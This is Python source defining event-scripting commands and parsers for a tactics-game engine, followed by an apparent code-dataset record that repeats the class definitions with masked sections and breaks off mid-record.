keywords = ['Nid', 'String', 'StringList']
optional_keywords = ['Orientation']
class ChapterTitle(EventCommand):
nid = 'chapter_title'
tag = Tags.MISCELLANEOUS
optional_keywords = ["Music", "String"]
class Alert(EventCommand):
nid = 'alert'
tag = Tags.DIALOGUE_TEXT
keywords = ["String"]
class VictoryScreen(EventCommand):
nid = 'victory_screen'
tag = Tags.MISCELLANEOUS
class RecordsScreen(EventCommand):
nid = 'records_screen'
tag = Tags.MISCELLANEOUS
class LocationCard(EventCommand):
nid = 'location_card'
tag = Tags.DIALOGUE_TEXT
keywords = ["String"]
class Credits(EventCommand):
nid = 'credits'
tag = Tags.DIALOGUE_TEXT
keywords = ["String", "String"]
flags = ['wait', 'center', 'no_split']
class Ending(EventCommand):
nid = 'ending'
tag = Tags.DIALOGUE_TEXT
keywords = ["Portrait", "String", "String"]
class PopDialog(EventCommand):
nid = 'pop_dialog'
tag = Tags.DIALOGUE_TEXT
desc = \
"""
Removes the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.
Example:
```
ending;Coyote;Coyote, Man of Mystery;Too mysterious for words.
transition;Close
pop_dialog
transition;Open
```
"""
class Unlock(EventCommand):
nid = 'unlock'
tag = Tags.REGION
keywords = ["Unit"]
class FindUnlock(EventCommand):
nid = 'find_unlock'
tag = Tags.HIDDEN
keywords = ["Unit"]
class SpendUnlock(EventCommand):
nid = 'spend_unlock'
tag = Tags.HIDDEN
keywords = ["Unit"]
class TriggerScript(EventCommand):
nid = 'trigger_script'
tag = Tags.MISCELLANEOUS
keywords = ["Event"]
optional_keywords = ["GlobalUnit", "GlobalUnit"]
class ChangeRoaming(EventCommand):
nid = 'change_roaming'
tag = Tags.MISCELLANEOUS
desc = "Turn free roam mode on or off"
keywords = ["Bool"]
class ChangeRoamingUnit(EventCommand):
nid = 'change_roaming_unit'
tag = Tags.MISCELLANEOUS
desc = "Changes the level's current roaming unit."
keywords = ["Unit"]
class CleanUpRoaming(EventCommand):
nid = 'clean_up_roaming'
tag = Tags.MISCELLANEOUS
desc = "Removes all units other than the roaming unit"
keywords = []
class AddToInitiative(EventCommand):
nid = 'add_to_initiative'
tag = Tags.MISCELLANEOUS
desc = "Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position."
keywords = ["Unit", "Integer"]
class MoveInInitiative(EventCommand):
nid = 'move_in_initiative'
tag = Tags.MISCELLANEOUS
desc = "Moves the initiative of the specified unit."
keywords = ["Unit", "Integer"]
def get_commands():
return EventCommand.__subclasses__()
def restore_command(dat):
if len(dat) == 2:
nid, values = dat
display_values = None
elif len(dat) == 3:
nid, values, display_values = dat
subclasses = EventCommand.__subclasses__()
for command in subclasses:
if command.nid == nid:
copy = command(values, display_values)
return copy
print("Couldn't restore event command!")
print(nid, values, display_values)
return None
def parse_text(text):
if text.startswith('#'):
return Comment([text])
arguments = text.split(';')
command_nid = arguments[0]
subclasses = EventCommand.__subclasses__()
for command in subclasses:
if command.nid == command_nid or command.nickname == command_nid:
cmd_args = arguments[1:]
true_cmd_args = []
command_info = command()
for idx, arg in enumerate(cmd_args):
if idx < len(command_info.keywords):
cmd_keyword = command_info.keywords[idx]
elif idx - len(command_info.keywords) < len(command_info.optional_keywords):
cmd_keyword = command_info.optional_keywords[idx - len(command_info.keywords)]
else:
cmd_keyword = "N/A"
# if parentheses exists, then they contain the "true" arg, with everything outside parens essentially as comments
if '(' in arg and ')' in arg and not cmd_keyword == 'Condition':
true_arg = arg[arg.find("(")+1:arg.find(")")]
true_cmd_args.append(true_arg)
else:
true_cmd_args.append(arg)
copy = command(true_cmd_args, cmd_args)
return copy
return None
def parse(command):
values = command.values
num_keywords = len(command.keywords)
true_values = values[:num_keywords]
flags = {v for v in values[num_keywords:] if v in command.flags}
optional_keywords = [v for v in values[num_keywords:] if v not in flags]
true_values += optional_keywords
return true_values, flags
|
flexible
|
{
"blob_id": "c2dba981b0d628aebdf8cebfb890aad74a629b08",
"index": 7365,
"step-1": "<mask token>\n\n\nclass GiveExp(EventCommand):\n <mask token>\n <mask token>\n <mask token>\n\n\nclass SetExp(EventCommand):\n nid = 'set_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass GiveWexp(EventCommand):\n nid = 'give_wexp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'WeaponType', 'Integer']\n flags = ['no_banner']\n\n\nclass GiveSkill(EventCommand):\n nid = 'give_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass RemoveSkill(EventCommand):\n nid = 'remove_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass ChangeAI(EventCommand):\n nid = 'change_ai'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'AI']\n\n\nclass ChangeTeam(EventCommand):\n nid = 'change_team'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Team']\n\n\nclass ChangePortrait(EventCommand):\n nid = 'change_portrait'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PortraitNid']\n\n\nclass ChangeStats(EventCommand):\n nid = 'change_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass SetStats(EventCommand):\n nid = 'set_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass AutolevelTo(EventCommand):\n nid = 'autolevel_to'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'String']\n flags = ['hidden']\n\n\nclass SetModeAutolevels(EventCommand):\n nid = 'set_mode_autolevels'\n tag = Tags.GAME_VARS\n keywords = ['String']\n flags = ['hidden']\n\n\nclass Promote(EventCommand):\n nid = 'promote'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass ChangeClass(EventCommand):\n nid = 'change_class'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass AddTag(EventCommand):\n nid = 'add_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass RemoveTag(EventCommand):\n nid = 'remove_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass AddTalk(EventCommand):\n nid = 'add_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass RemoveTalk(EventCommand):\n nid = 'remove_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass AddLore(EventCommand):\n nid = 'add_lore'\n nickname = 'unlock_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass RemoveLore(EventCommand):\n nid = 'remove_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass AddBaseConvo(EventCommand):\n nid = 'add_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IgnoreBaseConvo(EventCommand):\n nid = 'ignore_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass RemoveBaseConvo(EventCommand):\n nid = 'remove_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IncrementSupportPoints(EventCommand):\n nid = 'increment_support_points'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']\n\n\nclass AddMarketItem(EventCommand):\n nid = 'add_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass RemoveMarketItem(EventCommand):\n nid = 'remove_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass AddRegion(EventCommand):\n nid = 'add_region'\n tag = Tags.REGION\n keywords = ['Nid', 'Position', 'Size', 'RegionType']\n optional_keywords = ['String']\n flags = ['only_once']\n\n\nclass RegionCondition(EventCommand):\n nid = 'region_condition'\n tag = Tags.REGION\n keywords = ['Nid', 'Condition']\n\n\nclass RemoveRegion(EventCommand):\n nid = 'remove_region'\n tag = Tags.REGION\n keywords = ['Nid']\n\n\nclass ShowLayer(EventCommand):\n nid = 'show_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass HideLayer(EventCommand):\n nid = 'hide_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass AddWeather(EventCommand):\n nid = 'add_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass RemoveWeather(EventCommand):\n nid = 'remove_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass ChangeObjectiveSimple(EventCommand):\n nid = 'change_objective_simple'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveWin(EventCommand):\n nid = 'change_objective_win'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveLoss(EventCommand):\n nid = 'change_objective_loss'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass SetPosition(EventCommand):\n nid = 'set_position'\n tag = Tags.MISCELLANEOUS\n keywords = ['String']\n\n\nclass MapAnim(EventCommand):\n nid = 'map_anim'\n tag = Tags.TILEMAP\n keywords = ['MapAnim', 'Position']\n flags = ['no_block']\n\n\nclass ArrangeFormation(EventCommand):\n nid = 'arrange_formation'\n tag = Tags.MISCELLANEOUS\n\n\nclass Prep(EventCommand):\n nid = 'prep'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Bool', 'Music']\n\n\nclass Base(EventCommand):\n nid = 'base'\n tag = Tags.MISCELLANEOUS\n keywords = ['Panorama']\n optional_keywords = ['Music']\n\n\nclass Shop(EventCommand):\n nid = 'shop'\n tag = Tags.MISCELLANEOUS\n keywords = ['Unit', 'ItemList']\n optional_keywords = ['ShopFlavor']\n\n\nclass Choice(EventCommand):\n nid = 'choice'\n tag = Tags.MISCELLANEOUS\n keywords = ['Nid', 'String', 'StringList']\n optional_keywords = ['Orientation']\n\n\nclass ChapterTitle(EventCommand):\n nid = 'chapter_title'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Music', 'String']\n\n\nclass Alert(EventCommand):\n nid = 'alert'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass VictoryScreen(EventCommand):\n nid = 'victory_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass RecordsScreen(EventCommand):\n nid = 'records_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass LocationCard(EventCommand):\n nid = 'location_card'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass Credits(EventCommand):\n nid = 'credits'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String', 'String']\n flags = ['wait', 'center', 'no_split']\n\n\nclass Ending(EventCommand):\n nid = 'ending'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['Portrait', 'String', 'String']\n\n\nclass PopDialog(EventCommand):\n nid = 'pop_dialog'\n tag = Tags.DIALOGUE_TEXT\n desc = \"\"\"\nRemoves the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.\n\nExample:\n\n```\nending;Coyote;Coyote, Man of Mystery;Too mysterious for words.\ntransition;Close\npop_dialog\ntransition;Open\n```\n \"\"\"\n\n\nclass Unlock(EventCommand):\n nid = 'unlock'\n tag = Tags.REGION\n keywords = ['Unit']\n\n\nclass FindUnlock(EventCommand):\n nid = 'find_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass SpendUnlock(EventCommand):\n nid = 'spend_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass TriggerScript(EventCommand):\n nid = 'trigger_script'\n tag = Tags.MISCELLANEOUS\n keywords = ['Event']\n optional_keywords = ['GlobalUnit', 'GlobalUnit']\n\n\nclass ChangeRoaming(EventCommand):\n nid = 'change_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Turn free roam mode on or off'\n keywords = ['Bool']\n\n\nclass ChangeRoamingUnit(EventCommand):\n nid = 'change_roaming_unit'\n tag = Tags.MISCELLANEOUS\n desc = \"Changes the level's current roaming unit.\"\n keywords = ['Unit']\n\n\nclass CleanUpRoaming(EventCommand):\n nid = 'clean_up_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Removes all units other than the roaming unit'\n keywords = []\n\n\nclass AddToInitiative(EventCommand):\n nid = 'add_to_initiative'\n tag = Tags.MISCELLANEOUS\n desc = (\n 'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.'\n )\n keywords = ['Unit', 'Integer']\n\n\nclass MoveInInitiative(EventCommand):\n nid = 'move_in_initiative'\n tag = Tags.MISCELLANEOUS\n desc = 'Moves the initiative of the specified unit.'\n keywords = ['Unit', 'Integer']\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass RemoveAllUnits(EventCommand):\n nid = 'remove_all_units'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n\nclass RemoveAllEnemies(EventCommand):\n nid = 'remove_all_enemies'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n\nclass InteractUnit(EventCommand):\n nid = 'interact_unit'\n nickname = 'interact'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit', 'Unit']\n optional_keywords = ['CombatScript', 'Ability']\n\n\nclass SetCurrentHP(EventCommand):\n nid = 'set_current_hp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit', 'PositiveInteger']\n\n\nclass SetCurrentMana(EventCommand):\n nid = 'set_current_mana'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit', 'PositiveInteger']\n\n\nclass Resurrect(EventCommand):\n nid = 'resurrect'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['GlobalUnit']\n\n\nclass Reset(EventCommand):\n nid = 'reset'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass HasAttacked(EventCommand):\n nid = 'has_attacked'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass HasTraded(EventCommand):\n nid = 'has_traded'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass AddGroup(EventCommand):\n nid = 'add_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group']\n optional_keywords = ['StartingGroup', 'EntryType', 'Placement']\n flags = ['create']\n\n\nclass SpawnGroup(EventCommand):\n nid = 'spawn_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group', 'CardinalDirection', 'StartingGroup']\n optional_keywords = ['EntryType', 'Placement']\n flags = ['create', 'no_block', 'no_follow']\n\n\nclass MoveGroup(EventCommand):\n nid = 'move_group'\n nickname = 'morph_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group', 'StartingGroup']\n optional_keywords = ['MovementType', 'Placement']\n flags = ['no_block', 'no_follow']\n\n\nclass RemoveGroup(EventCommand):\n nid = 'remove_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group']\n optional_keywords = ['RemoveType']\n\n\nclass GiveItem(EventCommand):\n nid = 'give_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Item']\n flags = ['no_banner', 'no_choice', 'droppable']\n\n\nclass RemoveItem(EventCommand):\n nid = 'remove_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Item']\n flags = ['no_banner']\n\n\nclass GiveMoney(EventCommand):\n nid = 'give_money'\n tag = Tags.GAME_VARS\n keywords = ['Integer']\n optional_keywords = ['Party']\n flags = ['no_banner']\n\n\nclass GiveBexp(EventCommand):\n nid = 'give_bexp'\n tag = Tags.GAME_VARS\n keywords = ['Condition']\n optional_keywords = ['Party', 'String']\n flags = ['no_banner']\n\n\nclass GiveExp(EventCommand):\n nid = 'give_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass SetExp(EventCommand):\n nid = 'set_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass GiveWexp(EventCommand):\n nid = 'give_wexp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'WeaponType', 'Integer']\n flags = ['no_banner']\n\n\nclass GiveSkill(EventCommand):\n nid = 'give_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass RemoveSkill(EventCommand):\n nid = 'remove_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass ChangeAI(EventCommand):\n nid = 'change_ai'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'AI']\n\n\nclass ChangeTeam(EventCommand):\n nid = 'change_team'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Team']\n\n\nclass ChangePortrait(EventCommand):\n nid = 'change_portrait'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PortraitNid']\n\n\nclass ChangeStats(EventCommand):\n nid = 'change_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass SetStats(EventCommand):\n nid = 'set_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass AutolevelTo(EventCommand):\n nid = 'autolevel_to'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'String']\n flags = ['hidden']\n\n\nclass SetModeAutolevels(EventCommand):\n nid = 'set_mode_autolevels'\n tag = Tags.GAME_VARS\n keywords = ['String']\n flags = ['hidden']\n\n\nclass Promote(EventCommand):\n nid = 'promote'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass ChangeClass(EventCommand):\n nid = 'change_class'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass AddTag(EventCommand):\n nid = 'add_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass RemoveTag(EventCommand):\n nid = 'remove_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass AddTalk(EventCommand):\n nid = 'add_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass RemoveTalk(EventCommand):\n nid = 'remove_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass AddLore(EventCommand):\n nid = 'add_lore'\n nickname = 'unlock_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass RemoveLore(EventCommand):\n nid = 'remove_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass AddBaseConvo(EventCommand):\n nid = 'add_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IgnoreBaseConvo(EventCommand):\n nid = 'ignore_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass RemoveBaseConvo(EventCommand):\n nid = 'remove_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IncrementSupportPoints(EventCommand):\n nid = 'increment_support_points'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']\n\n\nclass AddMarketItem(EventCommand):\n nid = 'add_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass RemoveMarketItem(EventCommand):\n nid = 'remove_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass AddRegion(EventCommand):\n nid = 'add_region'\n tag = Tags.REGION\n keywords = ['Nid', 'Position', 'Size', 'RegionType']\n optional_keywords = ['String']\n flags = ['only_once']\n\n\nclass RegionCondition(EventCommand):\n nid = 'region_condition'\n tag = Tags.REGION\n keywords = ['Nid', 'Condition']\n\n\nclass RemoveRegion(EventCommand):\n nid = 'remove_region'\n tag = Tags.REGION\n keywords = ['Nid']\n\n\nclass ShowLayer(EventCommand):\n nid = 'show_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass HideLayer(EventCommand):\n nid = 'hide_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass AddWeather(EventCommand):\n nid = 'add_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass RemoveWeather(EventCommand):\n nid = 'remove_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass ChangeObjectiveSimple(EventCommand):\n nid = 'change_objective_simple'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveWin(EventCommand):\n nid = 'change_objective_win'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveLoss(EventCommand):\n nid = 'change_objective_loss'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass SetPosition(EventCommand):\n nid = 'set_position'\n tag = Tags.MISCELLANEOUS\n keywords = ['String']\n\n\nclass MapAnim(EventCommand):\n nid = 'map_anim'\n tag = Tags.TILEMAP\n keywords = ['MapAnim', 'Position']\n flags = ['no_block']\n\n\nclass ArrangeFormation(EventCommand):\n nid = 'arrange_formation'\n tag = Tags.MISCELLANEOUS\n\n\nclass Prep(EventCommand):\n nid = 'prep'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Bool', 'Music']\n\n\nclass Base(EventCommand):\n nid = 'base'\n tag = Tags.MISCELLANEOUS\n keywords = ['Panorama']\n optional_keywords = ['Music']\n\n\nclass Shop(EventCommand):\n nid = 'shop'\n tag = Tags.MISCELLANEOUS\n keywords = ['Unit', 'ItemList']\n optional_keywords = ['ShopFlavor']\n\n\nclass Choice(EventCommand):\n nid = 'choice'\n tag = Tags.MISCELLANEOUS\n keywords = ['Nid', 'String', 'StringList']\n optional_keywords = ['Orientation']\n\n\nclass ChapterTitle(EventCommand):\n nid = 'chapter_title'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Music', 'String']\n\n\nclass Alert(EventCommand):\n nid = 'alert'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass VictoryScreen(EventCommand):\n nid = 'victory_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass RecordsScreen(EventCommand):\n nid = 'records_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass LocationCard(EventCommand):\n nid = 'location_card'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass Credits(EventCommand):\n nid = 'credits'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String', 'String']\n flags = ['wait', 'center', 'no_split']\n\n\nclass Ending(EventCommand):\n nid = 'ending'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['Portrait', 'String', 'String']\n\n\nclass PopDialog(EventCommand):\n nid = 'pop_dialog'\n tag = Tags.DIALOGUE_TEXT\n desc = \"\"\"\nRemoves the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.\n\nExample:\n\n```\nending;Coyote;Coyote, Man of Mystery;Too mysterious for words.\ntransition;Close\npop_dialog\ntransition;Open\n```\n \"\"\"\n\n\nclass Unlock(EventCommand):\n nid = 'unlock'\n tag = Tags.REGION\n keywords = ['Unit']\n\n\nclass FindUnlock(EventCommand):\n nid = 'find_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass SpendUnlock(EventCommand):\n nid = 'spend_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass TriggerScript(EventCommand):\n nid = 'trigger_script'\n tag = Tags.MISCELLANEOUS\n keywords = ['Event']\n optional_keywords = ['GlobalUnit', 'GlobalUnit']\n\n\nclass ChangeRoaming(EventCommand):\n nid = 'change_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Turn free roam mode on or off'\n keywords = ['Bool']\n\n\nclass ChangeRoamingUnit(EventCommand):\n nid = 'change_roaming_unit'\n tag = Tags.MISCELLANEOUS\n desc = \"Changes the level's current roaming unit.\"\n keywords = ['Unit']\n\n\nclass CleanUpRoaming(EventCommand):\n nid = 'clean_up_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Removes all units other than the roaming unit'\n keywords = []\n\n\nclass AddToInitiative(EventCommand):\n nid = 'add_to_initiative'\n tag = Tags.MISCELLANEOUS\n desc = (\n 'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.'\n )\n keywords = ['Unit', 'Integer']\n\n\nclass MoveInInitiative(EventCommand):\n nid = 'move_in_initiative'\n tag = Tags.MISCELLANEOUS\n desc = 'Moves the initiative of the specified unit.'\n keywords = ['Unit', 'Integer']\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\nclass IncLevelVar(EventCommand):\n nid = 'inc_level_var'\n tag = Tags.LEVEL_VARS\n keywords = ['Nid']\n optional_keywords = ['Condition']\n\n\nclass WinGame(EventCommand):\n nid = 'win_game'\n tag = Tags.LEVEL_VARS\n\n\nclass LoseGame(EventCommand):\n nid = 'lose_game'\n tag = Tags.LEVEL_VARS\n\n\nclass ActivateTurnwheel(EventCommand):\n nid = 'activate_turnwheel'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Bool']\n\n\nclass BattleSave(EventCommand):\n nid = 'battle_save'\n tag = Tags.MISCELLANEOUS\n\n\nclass ChangeTilemap(EventCommand):\n nid = 'change_tilemap'\n tag = Tags.TILEMAP\n keywords = ['Tilemap']\n optional_keywords = ['PositionOffset', 'Tilemap']\n flags = ['reload']\n\n\nclass LoadUnit(EventCommand):\n nid = 'load_unit'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['UniqueUnit']\n optional_keywords = ['Team', 'AI']\n\n\nclass MakeGeneric(EventCommand):\n nid = 'make_generic'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['String', 'Klass', 'String', 'Team']\n optional_keywords = ['AI', 'Faction', 'String', 'ItemList']\n\n\nclass CreateUnit(EventCommand):\n nid = 'create_unit'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit', 'String']\n optional_keywords = ['String', 'Position', 'EntryType', 'Placement']\n\n\nclass AddUnit(EventCommand):\n nid = 'add_unit'\n nickname = 'add'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n optional_keywords = ['Position', 'EntryType', 'Placement']\n\n\nclass MoveUnit(EventCommand):\n nid = 'move_unit'\n nickname = 'move'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n optional_keywords = ['Position', 'MovementType', 'Placement']\n flags = ['no_block', 'no_follow']\n\n\nclass RemoveUnit(EventCommand):\n nid = 'remove_unit'\n nickname = 'remove'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n optional_keywords = ['RemoveType']\n\n\nclass KillUnit(EventCommand):\n nid = 'kill_unit'\n nickname = 'kill'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n flags = ['immediate']\n\n\nclass RemoveAllUnits(EventCommand):\n nid = 'remove_all_units'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n\nclass RemoveAllEnemies(EventCommand):\n nid = 'remove_all_enemies'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n\nclass InteractUnit(EventCommand):\n nid = 'interact_unit'\n nickname = 'interact'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit', 'Unit']\n optional_keywords = ['CombatScript', 'Ability']\n\n\nclass SetCurrentHP(EventCommand):\n nid = 'set_current_hp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit', 'PositiveInteger']\n\n\nclass SetCurrentMana(EventCommand):\n nid = 'set_current_mana'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit', 'PositiveInteger']\n\n\nclass Resurrect(EventCommand):\n nid = 'resurrect'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['GlobalUnit']\n\n\nclass Reset(EventCommand):\n nid = 'reset'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass HasAttacked(EventCommand):\n nid = 'has_attacked'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass HasTraded(EventCommand):\n nid = 'has_traded'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass AddGroup(EventCommand):\n nid = 'add_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group']\n optional_keywords = 